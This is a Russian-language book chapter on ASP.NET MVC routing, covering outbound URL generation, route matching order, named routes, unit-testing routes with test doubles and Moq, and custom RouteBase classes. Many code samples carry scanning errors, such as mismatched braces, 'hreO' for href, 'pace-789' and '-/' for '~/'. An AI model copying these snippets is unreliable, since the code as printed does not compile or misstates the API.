<а href="/Products/List">See all of our products</a>
Обратите внимание, что если не указать контроллер (т.е. вызвать Html, ActionLink ( "See all of our products", "List")), то по умолчанию это предполагает ссылку на другое действие в том же контроллере, который выполняется в данный момент.
Это намного яснее, чем жестко кодированные URL и манипуляции со строками. Но что более важно, это решает проблему изменения схемы URL. Любые изменения в конфигурации маршрутизации будут немедленно отражены в сгенерированных подобным образом URL. Это также лучше и с точки зрения разделения ответственности.
Глава 8. URL и маршрутизация 235
По мере роста приложения маршрутизация (те. задача выбора URL для идентификации контроллеров и действий) часто выделяется в совершенно отдельную ответственность, связанную с размещением обычных ссылок и переадресаций между представлениями и действиями. При каждом помещении ссылки или переадресации не потребуется думать о том, какой метод действия должен быть вызван для посетителя. Автоматическая генерация исходящих URL помогает избежать смешивания этих видов ответственности, сводя к минимуму возможные недоразумения.
Передача дополнительных параметров
Элементу маршрута при необходимости можно передавать дополнительные специальные параметры6:
<%= Html.ActionLink ("Red items", "List", "Products",
new { color="Red", page=2 }, null) %>
При конфигурации маршрутизации по умолчанию приведенный вызов Html. ActionLink приведет к генерации следующей гиперссылки:
<а href="/Products/List?color=Red&amp;page=2">Red iterns</a>
На заметку! Символ амперсанда (&) в URL кодируется как &атр;. Это необходимо для того, чтобы полученный в результате документ соответствовал стандарту XHTML (в XML символ & указывает на начало ссылки на сущность XML). Браузер интерпретирует &атр; как &, поэтому когда пользователь щелкает на ссылке, браузер издает запрос к /Products/List?color=Red&page=2.
Если же конфигурация маршрутизации содержит маршрут Products/List/ {color} / {page}, тот же код сгенерирует гиперссылку, которая показана ниже:
<а href="/Products/List/Red/2">Red items</a>
Обратите внимание, что при маршрутизации для исходящих URL параметры вставляются в URL, если существует параметр в фигурных скобках с соответствующим именем. Однако если соответствующего параметра нет, к строке запроса добавляется пара 'имя/значение”.
Как и при поиске соответствия с входящим маршрутом, во время генерации исходящих URL всегда выбирается первый совпадающий элемент маршрута. Вместо попытки отыскать наиболее специфичный элемент маршрута (т.е. с ближайшей комбинацией параметров в фигурных скобках в URL), поиск прекращается после нахождения любого объекта RouteBase, который предоставит URL с указанными параметрами маршрутизации. Это еще одна причина для того, чтобы размещать более специфичные элементы в таблице маршрутизации перед более общими! Дополнительные сведения об этом алгоритме будут даны далее в этой главе.
Обработка значений параметров, устанавливаемых по умолчанию
Если ссылка производится на значение параметра, которое является его значением по умолчанию (в соответствии с подходящим элементом маршрута), то система старается избежать вставки его в генерируемый URL. Это значит, что будут получаться более чистые и короткие URL. Например, приведенный ниже вызов Html. ActionLink:
<%= Html.ActionLink("Products homepage", "Index", "Products") %>
Последний параметр (для которого указано значение null) позволяет дополнительно специфицировать атрибуты HTML, которые будут визуализированы в HTML-дескрипторе.
236 Часть II. ASP.NET MVC во всех деталях
визуализирует следующую гиперссылку (предполагается, что Index — значение по умолчанию для action):
<а href="/Products">Products homepage</a>
Обратите внимание, что здесь генерируется URL вида /Products, а не /Products/ Index. Было бы бессмысленно включать Index в URL, поскольку он и так сконфигурирован по умолчанию.
Это касается в равной мере всех параметров со значениями по умолчанию (в контексте маршрутизации никаких специальных исключений для параметров controller или action не делается). Разумеется, опускать можно только непрерывные последовательности значений по умолчанию в правой части строки URL, а не в ее середине; в противном случае URL будет оформлен неверно.
Генерация полностью определенных абсолютных URL
Обычно метод Html. ActionLink () генерирует только путевую часть URL (т.е. /Products, а не http://www.example.com/Products). Однако для него предусмотрено несколько перегрузок, которые генерируют полностью определенные абсолютные URL. Наиболее полная, всеобъемлющая перегрузка выглядит следующим образом:
<%= Html.ActionLink("Click me", "MyAction", "MyController", "https", "www.example.com", "anchorName", new { param = "value" }, new { myattribute = "something" }) %>
Если повезет, то вам не придется использовать этот жутко выглядящий код очень часто, но если уж доведется, то он визуализирует гиперссылку вида:
<а myattribute="something"
hreO"https: //www. example. com/MyController/MyAction?param=value#anchorName">
Click me</a>
После развертывания приложения в виртуальном каталоге имя каталога также появится в нужном месте сгенерированного URL.
На заметку! Система маршрутизации в System. Web. Routing не поддерживает концепцию полностью определенных абсолютных URL. Она имеет дело только с виртуальными путями (т.е. путевой частью URL, указанной относительно корня виртуального каталога). Продемонстрированная выше возможность построения абсолютных URL была добавлена в методы-оболочки ASP.NET MVC. Возможно, какая-то будущая версия System.Web.Routing будет поддерживать формирование абсолютных URL. В этом случае появится возможность, например, указать, что определенный маршрут, скажем, к странице входа в систему, связан с протоколом https; тогда все ссылки на этот маршрут автоматически специфицировали бы абсолютные URL с протоколом https, а все ссылки со страницы входа в систему — URL с протоколом http. Но пока что переключение пользователей в режим HTTPS и обратно осуществляется вручную.
Генерация ссылок и URL из чистых данных маршрутизации
Как известно, система маршрутизации предназначена не только для ASP.NET MVC, поэтому она не придает специального значения параметрам по имени controller или action. Однако все методы генерации URL, которые были показаны до сих пор, требуют спецификации явного метода действия (например, Html . ActionLink () всегда принимает параметр action).
Иногда параметры controller или action удобно трактовать не как специальные случаи, а рассматривать их наравне с любыми другими параметрами маршрутизации. Например, в главе 5 навигационные ссылки строились из объектов NavLink, которые
Глава 8. URL и маршрутизация 237
содержали произвольные коллекции данных маршрутизации. Для таких сценариев существуют альтернативные методы генерации URL, которые не вынуждают трактовать controller или action как специальные случаи. Они принимают произвольную коллекцию параметров маршрутизации и сопоставляют их с текущей конфигурацией маршрутизации.
Html. RouteLink () — это эквивалент Html. ActionLink (). Например, код
<%= Html.RouteLink("Click me", new { controller = "Products", action = "List" }) %> генерирует следующую гиперссылку (при конфигурации маршрутов по умолчанию):
<а href="/Products/List">Click me</a>
Аналогично Url. RouteUrl () представляет собой эквивалент Url. Action (). Например, код
<%= Url.RouteUrl(new { controller = "Products", action = "List" }) %> визуализирует такой URL (при конфигурации маршрута по умолчанию):
/Products/List
В приложениях ASRNET MVC эти методы применяются нечасто. Однако важно знать, что в вашем распоряжении есть такая гибкость на случай, если она понадобится или если это упростит код (как это было в главе 5).
Перенаправление на сгенерированные URL
Наиболее распространенной причиной для генерации URL является визуализация гиперссылок HTML. Вторая наиболее распространенная причина — когда метод действия желает издать команду перенаправления HTTP, которая командует браузеру немедленно перейти на другой URL в приложении.
Чтобы осуществить перенаправление HTTP, просто верните результат вызова RedirectToAction (), передав ему целевой контроллер и метод действия:
public ActionResult MyActionMethod()
{
return RedirectToAction("List", "Products");
}
Вызов вернет RedirectToRouteResult, который во время своего выполнения использует внутри методы, генерирующие URL, чтобы найти корректный URL для этих маршрутных параметров, и затем издает перенаправление HTTP 302 по этому URL. Как обычно, если контроллер не указан (например, return RedirectToAction ("List”)), предполагается использованием другого действия на том же контроллере, который выполняется в данный момент.
В качестве альтернативы с помощью RedirectToRoute () можно специфицировать произвольную коллекцию маршрутных данных:
public ActionResult MyActionMethod()
{
return RedirectToRoute(new { action = "SomeAction", customerld = 456 });
}
На заметку! Когда сервер реагирует на перенаправление HTTP 302, никакой другой код HTML в поток ответа клиенту не посылается. Поэтому RedirectToAction () можно вызывать только из метода действия, а не из страницы представления, как зто возможно с Html. ActionLink (); если хорошо подумать, то нет никакого смысла в отправке перенаправления 302 из середины HTML-страницы. Два основных типах перенаправлений HTTP (301 и 302) более подробно рассматриваются далее в этой главе.
238 Часть II. ASP.NET MVC во всех деталях
Если вместо перенаправления HTTP необходимо просто получить URL в виде строки, то для этого можно вызвать Ur 1. Action () или Url. RouteUr 1 () из кода контроллера, например:
public ActionResult MyActionMethod () {
string url = Url.Action("SomeAction", new { customerld = 456 )) ;
// ... теперь делайте что-то c url
}
Алгоритм сопоставления с исходящим маршрутом
Примеров генерации исходящих URL до этого момента приводилось вполне достаточно, чтобы обрести начальное понимание. Но поскольку конфигурация маршрутизации может включать множество элементов, возникает вопрос: каким образом принимается решение о том, какой из элементов использовать при генерации URL из заданного набора значений маршрутизации? Действующий алгоритм характеризуется рядом тонких особенностей, которые желательно знать на случай возникновения неожиданного поведения.
Как и при сопоставлении с входящим маршрутом, просмотр стартует с начала таблицы маршрутов и продолжается вниз, пока не попадется первый объект RouteBase, который вернет отличный от null URL для заданной коллекции значений маршрутизации. Стандартные объекты Route возвращают отличный от null URL только при соблюдении следующих трех условий.
1.	Объект Route должен быть в состоянии получать значение каждого из своих параметров в фигурных скобках. При этом он будет брать значения из любой из следующих коллекций, перечисленных в порядке их приоритетов.
а)	Явно заданные значения (т.е. значения параметров, которые указываются при вызове метода генерации URL).
б)	Значения RouteData из текущего запроса (за исключением значений, появляющихся в шаблоне URL после тех, для которых новые значения были заданы явно). Более подробно это поведение обсуждается ниже.
в)	Значения из коллекции Defaults.
2.	Ни одно из явно предоставленных значений параметров не может противоречить значениям параметров объекта Route, устанавливаем “только по умолчанию”. Параметр только по умолчанию — это такой, который присутствует в коллекции Defaults данного элемента, но не появляется в списке параметров в фигурных скобках шаблона URL. Поскольку вставить в URL значение, отличное от установленного по умолчанию, возможности нет, элемент маршрута не может описать такое значение, и потому не находит соответствия.
3.	Ни одно из значений выбранных параметров (включая унаследованные от RouteData текущего запроса) не нарушает ограничения, записанные в свойстве Constraints объекта Route.
Первый объект Route, удовлетворяющий этим критериям, произведет отличный от null URL, и на этом процесс генерации URL завершается. Выбранные значения параметров будут подставлены на место соответствующих заполнителей в фигурных скобках, а остальные значения по умолчанию будут отброшены. Если указываются любые явные параметры, которые не соответствуют параметрам в фигурных скобках или параметрам по умолчанию, они будут визуализированы как набор пар “ключ/значение” строки запроса.
Глава 8. URL и маршрутизация 239
Проясним картину: каркас не пытается выбрать наиболее специфичный элемент таблицы маршрутизации или шаблон URL. Он прекращает поиск, встретив первое совпадение; поэтому всегда придерживайтесь “золотого правила” маршрутизации — размещайте более специфичные элементы перед менее специфичными. Если совпадение произошло с нежелательным элементом, то либо переместите его вниз по списку, либо сделайте более специфичным (например, добавив ограничения или удалив значения по умолчанию), чтобы в дальнейшем исключить подобного рода совпадения.
Повторное использование параметров текущего запроса
На шаге 1(6) описанного выше алгоритма упоминалось о том, что система маршрутизации будет повторно использовать значения параметров из текущего запроса, если новые значения явно не указаны. Это довольно нетривиальное поведение, к которому нелегко привыкнуть (об этом свидетельствуют часто задаваемые вопросы на форумах по ASP.NET MVC), и зто, вероятно, не то, на что следует полагаться на практике. Тем не менее, о таком поведении следует знать, чтобы в будущем не возникало сюрпризов.
Например, рассмотрим следующий элемент маршрута:
routes.MapRoute(null, "{controller)/{action)/{color}/{page}");
Предположим, что пользователь в данный момент находится на URL /Catalog/List/ Purple/123, и генерируется такая ссылка:
<%= Html .ActionLink("Click me", "List", "Catalog", new {pace-789}, null) %>
Генерацию какого URL следует ожидать? Может показаться, что совпадения с элементом маршрута вообще не произойдет, потому что (color) является обязательным параметром (не имеющим значения по умолчанию), для которого при вызове Html. ActionLink () не было указано никакого значения.
Однако на самом деле совпадение для этого элемента будет найдено, и результат выглядит следующим образом:
<а href="/Catalog/List/Purple/789">C)ick me</a>
Как видите, система маршрутизации повторно использует текущее значение параметра {color} (которое равно Purple, так как посетитель находится в данный момент на URL /Catalog/ List/Purple/123). Так получается из-за того, что для параметра {color} не было задано другое значение.
Еще один специальный случай
Возникает один интересный вопрос: что произойдет, если в аналогичной ситуации будет сгенерирована следующая ссылка:
<%= Html.ActionLink("Click me", "List", "Catalog", new {color="Aqua"), null) %>
Может показаться, что поскольку для {page} значение не было указано, будет использоваться параметр {раде} текущего запроса. Увы, но это не так. Система маршрутизации повторно использует значения только тех параметров, которые в шаблоне URL находятся перед параметрами с заданными измененными значениями (подобно тому, как {color} встречается ранее {раде} в {color}/ {раде}). В этом случае совпадение с элементом маршрута вообще не будет найдено. В этом есть своя логика, если воспринимать URL как пути в некоторой универсальной файловой системе. Чаще всего интересуют связи между различными элементами в одной папке, но очень редко — между одноименными элементами из разных папок.
Подытожим: поведение системы маршрутизации в отношении повторно используемых параметров из текущего запроса довольно необычно, с еще более необычным специальным случаем. Если вы полагаетесь на это поведение, то код будет очень трудно понять. Намного безопаснее и яснее при генерации ссылок указывать явные значения для всех специальных параметров маршрутизации.
240 Часть II. ASP.NET MVC во всех деталях
Генерация гиперссылок с помощью метода Html. ActionLink<T> и лямбда-выражений
Генерация гиперссылок с использованием вспомогательного метода Html .Action Link () предпочтительнее манипуляций жестко закодированными строками, но этот способ не слишком безопасен в отношении типов. Здесь средство IntelliSense не поможет специфицировать имя действия или передать ему корректный набор специальных параметров.
В сборке MVC Futures, находящейся в библиотеке Microsoft.Web.Mvc.dll. содержится обобщенная перегрузка метода Html. ActionLink<T> (). Вот как выглядит типичный его вызов:
<%= Html.ActionLink<ProductsController>(х => x.ListO, "All products") %>
В результате получается следующая гиперссылка (при конфигурации маршрутизации по умолчанию):
<а href="/Products/List">All products</a>
На этот раз обобщенный метод ActionLink<T> принимает обобщенный параметр Т. специфицирующий тип целевого контроллера. Метод действия задается лямбда-выражением на этом типе контроллера. В действительности лямбда-выражение никогда не выполняется. Во время компиляции оно превращается в структуру данных, просматриваемую во время выполнения системой маршрутизации для определения метода и параметров, на которые произведены ссылки.
На заметку! Чтобы все это работало, шаблон представления должен импортировать пространство имен, в котором определен класс ProductsController, а также пространство имен Microsoft.Web .Mvc. Для зтого в начало файла представления ASPX следует добавить <%@ Import Namespace="..." %>.
Благодаря Html. ActionLink<T> (), вы получаете строго типизированный интерфейс для схемы URL с полной поддержкой со стороны средства IntelliSense. Большинство новичков усматривают в этом значительные преимущества, но на самом деле возникают проблемы как технического, так и концептуального характера.
•	Должны импортироваться корректные пространства имен в каждый шаблон представления.
•	При попытке ввода лямбда-выражения внутри блока <%= . . . %> в версии Visual Studio 2008 SP1 средство IntelliSense часто не работает.
•	Метод Html. ActionLink<T> () создает впечатление, что можно сослаться на любой метод любого контроллера. Однако иногда это невозможно, потому что в конфигурации маршрутизации может отсутствовать маршрут к нему, или же сгенерированный URL может вести к другой перегрузке метода действия. В общем, метод Html. ActionLink<T> () может ввести в заблуждение.
•	Строго говоря, действия контроллера — это именованные фрагменты функциональности, а не методы С#. В ASP.NET MVC предусмотрено несколько уровней расширяемости (например, фильтры), из чего следует, что входящее имя действия может быть обработано методом C# с совершенно несвязанным с ними наименованием (соответствующий пример будет показан в следующей главе). Лямбда-выражения не могут представить это, поэтому гарантировать правильную работу Html.ActionLink<T>() нельзя.
Глава 8. URL и маршрутизация 241
Было бы замечательно, если бы метод Html. ActionLink<T> () гарантированно работал правильно, так как преимущества строго типизированного API-интерфейса и поддержки со стороны IntelliSense действительно очевидны. Однако есть масса сценариев, когда он не работает, и поэтому создатели MVC поместили это средство в сборку MVC Futures, а не в основной пакет ASP.NET MVC. Пока перечисленные недостатки не будут преодолены в будущих версиях платформы, вероятно, лучите его пока не использовать, а вместо зтого придерживаться обычных, основанных на строках перегрузок Html.ActionLink().
Работа с именованными маршрутами
Каждому элементу маршрута можно назначить уникальное имя, например:
routes.Add("intranet", new Route("staff/{action}", new MvcRouteHandler()) {
Defaults = new RouteValueDictionary(new ( controller = "StaffHome" }) });
С помощью MapRoute () можно записать эквивалентный, но более краткий код:
routes.MapRoute("intranet", "staff/{action}", new { controller = "StaffHome" });
В любом случае зтот код создает именованный элемент маршрута intranet. В чем смысл именования элементов маршрута? В некоторых случаях это может облегчить генерацию исходящих URL. Вместо того чтобы размещать элементы маршрута в правильном порядке, чтобы платформа находила нужное автоматически, необходимый элемент можно просто указать по имени. Имя маршрута можно специфицировать при вызове Ur1.RouteUr1() или Html.RouteLink(), например:
<%= Html.RouteLink("Click me", "intranet", new { action = "StaffList" }) %>
Независимо от наличия других элементов в конфигурации маршрутизации, этот сгенерирует следующую гиперссылку:
<а href="/staff/StaffList">Click me</a>
Без именованных маршрутов было бы трудно гарантировать, что и входящая, и исходящая маршрутизация всегда выберут нужный маршрут. Иногда кажется, что корректный порядок приоритетов для входных соответствий конфликтует с порядком приоритетов для генерации исходящих URL. В таких случаях определять, какие ограничения и значения по умолчанию обеспечат требуемое поведение, приходится опытным путем. Именование маршрутов снимает проблему упорядочивания — они просто выбираются по имени. Иногда такой подход приносит очевидную выгоду.
Причины, по которым именованные маршруты не используются
Вспомните, что одним из преимуществ генерации исходящих URL является разделение ответственности. При каждом помещении ссылки или перенаправления необходимо думать не об URL, а только о том, на какой метод действия должен попасть в конечном итоге посетитель. К сожалению, именованные маршруты мешают в достижении этой цели, потому что они вынуждают думать не только о месте назначения каждой ссылки (т.е. о действии), но также и о механизме ее достижения (те. об элементе маршрута).
Если удается избежать назначения имен элементам маршрута, получается более “чистая" система в целом. В этом случае появится возможность построить набор модульных тестов, которые проверят как соответствие входящих URL, так и генерацию исходящих (это уже делалось в главе 5 для приложения SportStore), воспринимая эту за
242 Часть II. ASP.NET MVC во всех деталях
дачу как совершенно отдельную ответственность. Запоминать или управлять именами элементов маршрута не понадобится, поскольку все они анонимны. При размещении ссылки или перенаправления можно просто указать целевой метод действия, позволяя системе маршрутизации обрабатывать URL автоматически. В общем, применять именованные маршруты или нет — вопрос персональных предпочтений. Но в любом случае зто лучше, чем жестко закодированные URL!
Модульное тестирование маршрутов
Маршрутизацию не всегда легко конфигурировать, но очень важно делать это правильно. Если в RouteTable .Routes присутствует изрядное количество элементов, то при изменении одного из них или добавлении нового может быть нечаянно нарушен какой-то элемент. К счастью, тестирование маршрутов проводится довольно несложно, так как система маршрутизации имеет очень ограниченный диапазон возможных входных и выходных данных.
В главе 5 модульные тесты для входящей и исходящей маршрутизации приложения SportStore строились с использованием служебных методов TestRoute () и GetOutboundUrl (). Однако вы могли не обратить на них внимания или не заметить, что эти методы могут повторно использоваться и в других проектах. Давайте вернемся к ним еще раз и посмотрим, как они могут помочь протестировать вновь созданную конфигурацию маршрутизации. По ходу дела также будет рассмотрено несколько более широких принципов модульного тестирования, включая стратегию применения тестовых дубликатов в сравнении с использованием инструментов имитации.
На заметку! Если вы пока еще не знаете, с чего начать модульное тестирование, как выбрать необходимые инструменты и как добавить тестовый проект в решение, вернитесь к главе 4, где обсуждалось модульное тестирование для приложения SportStore. С другой стороны, если вы уже настолько хорошо знакомы с модульным тестированием и имитацией, что приведенная далее дискуссия покажется тривиальной, просто вскользь просмотрите код.
Тестирование входящей маршрутизации URL
Как вы должны помнить, получить доступ к конфигурации маршрутизации можно через общедоступный статический метод RegisterRoutes (). определенный в Global. азах. cs. Поэтому базовый тест маршрута может выглядеть следующим образом:
[TestFixture]
public class InboundRouteMatching
(
[Test]
public void TestSomeRoute()
{
// Подготовка: получить конфигурацию маршрутизации
// и установить тестовый контекст
Routecollection routeConfig = new Routecollection() ;
MvcApplication.RegisterRoutes(routeConfig);
HttpContextBase testContext = Как-то подучить экземпляр
// Действие: запустить механизм маршрутизации на данном HttpContextBase RouteData routeData = routeConfig.GetRouteData(testcontext);
// Утверждение
Assert.IsNotNull(routeData, "NULL RouteData was returned");
// Возвращен RouteData, равный null
Глава 8. URL и маршрутизация 243
Assert.IsNotNull(routeData.Route, "No route was matched");
// Совпадающие маршруты отсутствуют // Добавить другие утверждения для проверки правильности этого RouteData }
}
Самая загадочная часть здесь — получение экземпляра HttpContextBase. Разумеется, код тестов не должен быть привязан к какому-либо контексту реального веб-сервера (поэтому System.Web.HttpContext не используется). Вместо этого следует предусмотреть специальный тестовый экземпляр HttpContextBase, создав тестовый дубликат или имитацию. Ниже рассматриваются оба приема.
Использование тестовых дубликатов
Первый способ получения экземпляра HttpContextBase состоит в написании собственного тестового дубликата. По сути, это означает наследование класса от HttpContextBase и создание тестовых реализаций только тех методов и свойств, которые на самом деле используются.
Ниже приведен минимальный тестовый дубликат, которого достаточно для тестирования входящей и исходящей маршрутизации. Он пытается делать минимум возможного, реализуя только те методы, которые действительно вызываются маршрутизацией (это можно определить методом проб и ошибок). Однако эти реализации представляют собой лишь немногим более чем заглушки.
public class TestHttpContext : HttpContextBase
{
TestHttpRequest testRequest;
TestHttpResponse testResponse;
public override HttpRequestBase Request { get { return testRequest; } } public override HttpResponseBase Response { get { return testResponse; } } public TestHttpContext(string url) {
testRequest = new TestHttpRequest() { _AppRelativeCurrentExecutionFilePath = url };
testResponse = new TestHttpResponse() ;
}
class TestHttpRequest : HttpRequestBase {
public string _AppRelativeCurrentExecutionFilePath { get; set; } public override string AppRelativeCurrentExecutionFilePath {
get { return _AppRelativeCurrentExecutionFilePath; } }
public override string ApplicationPath { get { return null; } } public override string Pathinfo { get { return null; ) } }
class TestHttpResponse : HttpResponseBase {
public override string ApplyAppPathModifier(string x) { return x; } }
)
Теперь, используя тестовый дубликат, можно написать полный тест:
[Test]
public void ForwardSlashGoesToHomelndex () {
244 Часть II. ASP.NET MVC во всех деталях
// Подготовка: получить конфигурацию маршрутизации
//и установить тестовый контекст
Routecollection routeConfig = new Routecollection();
MvcApplication.RegisterRoutes(routeConfig);
HttpContextBase testcontext = new TestHttpContext ("~/") ;
// Действие: запустить механизм маршрутизации на данном HttpContextBase RouteData routeData = routeConfig.GetRouteData(testcontext);
// Утверждение
Assert.IsNotNull(routeData, "NULL RouteData was returned");
// Возвращен RouteData, равный null
Assert.IsNotNull(routeData.Route, "No route was matched");
// Совпадающие маршруты отсутствуют
Assert.AreEqual("Home", routeData.Values["controller"], "Wrong controller");
// Неверный контроллер
Assert.AreEqual("Index", routeData.Values["action"], "Wrong action");
// Неверное действие
}
Перекомпилируйте и запустите заново тесты в графической среде NUnit. Должна появиться полоса зеленого цвета. Это докажет, что URL / обработан действием Index на HomeController.
Использование среды имитации (Moq)
Второй из двух основных способов получения объекта HttpContextBase предполагает использование среды имитации, которая позволяет программно строить имитирующие объекты. Имитирующий объект похож на тестовый дубликат, но с тем отличием, что он генерируется динамически во время выполнения, а не явно записывается в коде как обычный класс. Перед использованием среде имитации необходимо сообщить, какой интерфейс или базовый класс планируется имитировать, и указать, как имитирующий объект должен реагировать на вызовы его избранных членов.
В главах, посвященных приложению SportStore, приводились примеры применения среды имитации под названием Moq. Сборка .NET по имени Moq. dll для этой среды доступна для бесплатной загрузки по адресу http : //code . google . com/p/moq/. Поместите сборку в удобное место и установите ссылку на нее из проекта Tests (также понадобится добавить оператор using Maq;).
Теперь можно написать тест вроде следующего:
[Test]
public void ForwardSlashGoesToHomelndex ()
{
// Подготовка: получить конфигурацию маршрутизации
// и установить тестовый контекст
Routecollection routeConfig = new Routecollection ();
MvcApplication.RegisterRoutes(routeConfig);
var mockHttpContext = MakeMockHttpContext("-/") ;
// Действие: запустить механизм маршрутизации на данном HttpContextBase RouteData routeData = routeConfig.GetRouteData(mockHttpContext.Object);
// Утверждение
Assert.IsNotNull(routeData, "NULL RouteData was returned");
Assert.IsNotNull(routeData.Route, "No route was matched");
Assert.AreEqual("Home", routeData.Values["controller"], "Wrong controller"); Assert.AreEqual("Index", routeData.Values["action"], "Wrong action");
}
Глава 8. URL и маршрутизация 245
Реализация метода MakeMockHttpContext () показана ниже:
private static Mock<HttpContextBase> MakeMockHttpContext(string url) {
var mockHttpContext = new Mock<HttpContextBase>();
// Имитировать запрос
var mockRequest = new Mock<HttpRequestBase>();
mockHttpContext.Setup(x => x.Request).Returns(mockRequest.Object); mockRequest.Setup(x => x.AppRelativeCurrentExecutionFilePath).Returns(url);
// Имитировать ответ
var mockResponse = new Mock<HttpResponseBase>();
mockHttpContext.Setup(x => x.Response).Returns(mockResponse.Object);
mockResponse.Setup(x => x.ApplyAppPathModifier(It.IsAny<string>()))
.Returns<string>(x => x) ;
return mockHttpContext;
}
Учитывая, не пришлось писать тестовые дубликаты HttpContextBase, HttpRequestBase и HttpResponseBase, здесь кода меньше, чем ранее. Разумеется, все это можно еще более упростить, оставив в каждом методе [Test] только код, специфичный для тестов:
[Test]
public void ForwardSlashGoesToHomelndex()
{
TestRoute("-/", new { controller = "Home", action = "Index", id = "" });
}
Весь вспомогательный код можно вынести в отдельный метод:
public RouteData TestRoute(string url, object expectedValues) {
// Подготовка: получить конфигурацию маршрутизации и установить тестовый контекст Routecollection routeConfig = new Routecollection();
MvcApplication.RegisterRoutes(routeConfig);
var mockHttpContext = MakeMockHttpContext(url);
// Действие: запустить механизм маршрутизации на данном HttpContextBase RouteData routeData = routeConfig.GetRouteData(mockHttpContext.Object); // Утверждение
Assert.IsNotNull(routeData.Route, "No route was matched"); var expectedDict = new RouteValueDictionary(expectedValues); foreach (var expectedVal in expectedDict) {
if (expectedVal.Value == null)
Assert.IsNull(routeData.Values[expectedVal.Key]);
else
Assert.AreEqual(expectedVal.Value.ToString() ,
routeData.Values[expectedVal.Key].ToString());
}
return routeData; // ... на случай, если будут добавляться // какие-то другие утверждения
}
На заметку! Обратите внимание, что когда TestRoute () сравнивает ожидаемые значения маршрута с реальными (на фазе утверждения), он преобразует все в строки, вызывая . ToString (). Очевидно, что URL могут содержать только string (не int или что-то еще), но expectedValues может содержать int (например, { раде = 2 ]). Однако сравнивать имеет смысл только строковые представления каждого значения.
246 Часть II. ASP.NET MVC во всех деталях
Теперь можно добавить метод [Test] для добавления в каждую форму входящего URL небольшой порции повторяющегося кода.
Тестирование не обязательно ограничивается только controller, action и id: приведенный выше код одинаково хорошо работает с любыми специальными параметрами маршрутизации.
Тестирование генерации исходящих URL
Можно также тестировать и генерацию приложением исходящих URL на основе существующей конфигурации. Это требуется, например, в ситуациях, когда для публичной схемы URL предусмотрен контракт, который никогда не должен изменяться, кроме как намеренно.
Это несколько отличается от тестирования совпадения с входящим маршрутом. То, что определенный URL отображается на определенный набор значений RouteData, еще не значит, что тот же самый набор значений RouteData будет отображен обратно на этот же URL (совпадающих элементов маршрута может быть несколько). Наличие полного набора тестов для входящей и исходящей маршрутизации окажет незаменимую помощь при каждом изменении конфигурации маршрутизации.
Для тестирования генерации исходящих URL можно использовать тот же тестовый дубликат, что и ранее:
[Test]
public void EditProduct50 IsAt_Products_Edit_50()
{
VirtualPathData result = GenerateUrlViaTestDouble(
new { controller = "Products", action = "Edit", id = 50 }
) ;
Assert.AreEqual("/Products/Edit/50", result.VirtualPath);
}
private VirtualPathData GenerateUrlViaTestDouble(object values)
{
// Подготовка: получить конфигурацию маршрутизации и тестовый контекст RouteCollection routeConfig = new RouteCollection();
MvcApplication.RegisterRoutes(routeConfig);
var testcontext = new TestHttpContext(null);
Requestcontext context = new Requestcontext(testcontext, new RouteData()) ;
// Действие: сгенерировать URL
return routeConfig.GetVirtualPath(context, new RouteValueDictionary(values));
}
В качестве альтернативы можно не связываться с тестовым дубликатом HttpContextBase. а вместо этого создать имитированную реализацию на лету.
Просто замените GenerateUrlViaTestDouble () на GenerateUrlViaMocks ():
private VirtualPathData GenerateUrlViaMocks(object values)
{
// Подготовка: получить конфигурацию маршрутизации и тестовый контекст RouteCollection routeConfig = new RouteCollection();
MvcApplication.RegisterRoutes(routeConfig);
var mockContext = MakeMockHttpContext(null) ;
Requestcontext context = new Requestcontext(mockContext.Object,new RouteData ()) ;
// Действие: сгенерировать URL
return routeConfig.GetVirtualPath(context, new RouteValueDictionary(values));
}
Глава 8. URL и маршрутизация 247
Обратите внимание, что метод MakeMockHttpContext () определен в предыдущем примере имитации.
Дальнейшая настройка
К зтому моменту вы уже видели большую часть того, что делает основная маршрутизация, и как ее применять в приложении ASP.NET MVC. Теперь давайте рассмотрим несколько точек расширения, которые с помощью которых открываются дополнительные возможности в расширенных сценариях использования.
Реализация специального элемента RouteBase
Если вам не нравится способ сопоставления стандартных объектов Route с URL или необходимо реализовать что-то необычное, можно создать альтернативный класс, унаследовав его непосредственно от RouteBase. Это дает полный контроль над процессами сопоставления входящих URL, извлечения параметров и генерации исходящих URL. В этом случае потребуется предоставить реализации двух методов.
•	GetRouteData (HttpContextBase httpContext). Это механизм сопоставления входящих URL. Данный метод вызывается на каждом элементе RouteTable. Routes по очереди, пока он не вернет отличное от null значение. Для того чтобы специальный элемент маршрута соответствовал заданному httpContect (например, после просмотра httpContext. Request. Path), необходимо вернуть структуру RouteData, описывающую выбранный IRouteHandler (обычно MvcRouteHandler) и все извлеченные параметры. В противном случае должно возвращаться значение null.
•	GetVirtualPath(Requestcontext requestcontext, R.outeValueDictionary values). Это механизм генерации исходящих URL. Данный метод вызывается на каждом элементе RouteTable. Routes по очереди, пока он не вернет отличное от null значение. Чтобы получить URL для заданной пары requestcontext/ values, понадобится вернуть объект Vi rtualPathData, описывающий вычисленный URL относительно корня виртуального каталога. В противном случае должно возвращаться значение null.
Разумеется, специальные объекты RouteBase и обычные объекты Route можно смешивать в пределах одной конфигурации маршрутизации. Например, при замене старого веб-сайта новым коллекция старых URL, которые должны поддерживаться в новом сайте (чтобы не нарушить входящих ссылок) может оказаться дезорганизованной. Вместо настройки сложной конфигурации маршрутизации, которая распознает диапазон унаследованных шаблонов URL, можно создать единственный специальный элемент RouteBase, который будет распознавать специфические унаследованные URL и передавать их определенному контроллеру на обработку:
using System.Linq;
public class LegacyUrlsRoute : RouteBase {
//На практике это можно извлекать из базы данных
// и кэшировать в памяти
private static string[] legacyUrls = new string[] ( "-/articles/may/zebra-danio-health-tips.html", "-/articles/VelociraptorCalendar.pdf", "--/guides/tim.smith/BuildYourOwnPC_final. asp" };
248 Часть II. ASP.NET MVC во всех деталях
public override RouteData GetRouteData(HttpContextBase httpContext) {
string url = httpContext.Request.AppRelativeCurrentExecutionFilePath;
if(legacyUrls.Contains(url, Stringcomparer.OrdinallgnoreCase)) {
RouteData rd = new RouteData(this, new MvcRouteHandler());
rd.Values.Add("controller", "Legacycontent");
rd.Values.Add("action", "HandlehegacyUrl");
rd.Values.Add("url", url); return rd;
}
else
return null; // He унаследованный URL
}
public override VirtualPathData GetVirtualPath(
Requestcontext requestcontext, RouteValueDictionary values) {
// Этот элемент маршрута никогда не генерирует исходящие URL return null;
}
}
Зарегистрируйте этот элемент в начале конфигурации маршрутизации, обеспечив его приоритет перед другими элементами:
public static void RegisterRoutes(RouteCollection routes)
{
routes.IgnoreRoute("{resource}.axd/{*pathlnfо}");
